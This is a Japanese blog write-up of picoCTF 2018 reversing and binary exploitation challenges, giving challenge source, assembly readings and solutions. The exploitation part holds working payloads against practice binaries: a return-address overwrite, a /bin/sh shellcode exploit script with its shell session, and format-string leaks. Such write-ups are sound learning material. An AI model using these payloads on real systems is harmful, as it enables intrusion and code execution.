picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]
まえがき
前回の続きです.
今回はReversing
とBinary Exploitation
のWrite-upを書こうと思います.
Reversing
Reversing Warmup 1 - Points: 50
Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?
アプローチ:ELFファイルの実行
> file run run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run picoCTF{welc0m3_t0_r3VeRs1nG}
picoCTF{welc0m3_t0_r3VeRs1nG}
Reversing Warmup 2 - Points: 50
Can you decode the following string
dGg0dF93NHNfczFtcEwz
from base64 format to ASCII
アプローチ:base64
> echo dGg0dF93NHNfczFtcEwz | base64 --d th4t_w4s_s1mpL3
picoCTF{th4t_w4s_s1mpL3}
assembly-0 - Points: 150
What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.
アプローチ:アセンブラを読む
.intel_syntax noprefix .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret
アセンブラを読むとeax
にebx
をコピーしていること分かる
このときasm0(0xb6,0xc6)
なのでeax=0xb6
,ebx=0xc6
picoCTF{0xc6,0xc6}
assembly-1 - Points: 200
What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.
アプローチ:アセンブラを読む
.intel_syntax noprefix .bits 32 .global asm1 asm1: push ebp mov ebp,esp cmp DWORD PTR [ebp+0x8],0x98 jg part_a cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d part_a: cmp DWORD PTR [ebp+0x8],0x16 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_b: mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d cmp DWORD PTR [ebp+0x8],0xbc jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_c: mov eax,DWORD PTR [ebp+0x8] add eax,0x3 part_d: pop ebp ret
picoCTF{0x73,0x73}
Binary Exploitation
buffer overflow 0 - Points: 150
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t he shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; }
アプローチ:BOF
コードを読むとvuln()
のstrcpy(buf, input)
が危ないことが分かるのでbuf
でBOF
します.
satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}
buffer overflow 1 - Points: 200
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
アプローチ:gdb+ltrace
コードを読むとvuln()
のリターンアドレスをwin()
にすればいいっぽいのでgdb
を使ってアドレスを調べます.
(gdb) call vuln $1 = {<text variable, no debug info>} 0x804862f <vuln> (gdb) call win $2 = {<text variable, no debug info>} 0x80485cb <win>
リターンアドレスを0x80485cb
に書き換えるとflag
がとれそうということが分かります.
ltrace
を使いながらリターンアドレスの位置を計算します.
> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln [0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...> [0x804867f] setvbuf(0xf7f94d80, 0, 2, 0) = 0 [0x8048687] getegid() = 1000 [0x804869b] setresgid(1000, 1000, 1000, 0x8048687) = 0 [0x80486ab] puts("Please enter your string: "Please enter your string: ) = 27 [0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887) = 0xffca66e0 [0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c ) = 65 [0x4c4c4c4c] --- SIGSEGV (Segmentation fault) --- [0xffffffffffffffff] +++ killed by SIGSEGV +++
0x4c4c4c4c
になってることからLをアドレスに置き換えるといい感じになりそうということが分かります.
satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault
picoCTF{addr3ss3s_ar3_3asy65489706}
leak-me - Points: 200
Can you authenticate to this service and get the flag? Connect with nc
2018shell1.picoctf.com 1271
. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; }
アプローチ:nameでBOF
name
でBOF
するとパスワードが降ってきます.
a_reAllY_s3cuRe_p4s$word_f78570
> nc 2018shell1.picoctf.com 1271 What is your name? satto1237 Hello satto1237, Please Enter the Password. a_reAllY_s3cuRe_p4s$word_f78570 picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
shellcode - Points: 200
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; }
アプローチ:BOFでshellを起動
gets
を使用しているのでBOF
は簡単にできそうということがわかる.
問題文がshellcode
なのでBOF
でshell
を起動すればflag
をとれそう.
ももテクを参考にexploitコードを書きました.
exploitコード
import sys shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = 148 buf = shellcode buf += 'A' * (bufsize - len(shellcode)) print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln Enter a string! 1Rh//shh/binRSB ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{shellc0de_w00h00_7f5a7309}
picoCTF{shellc0de_w00h00_7f5a7309}
echooo - Points: 300
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; }
アプローチ:FORMAT STRING ATTACK ~書式指定文字列攻撃~
今回もももテクを参考にしました.
> nc 2018shell1.picoctf.com 46960 Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647 >
buf
のアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと
echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
まとめ
- Reversingわからん
- Binary Exploitationわからん
- 何もわからん
- 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
- 低レイヤ強くなりてぇ…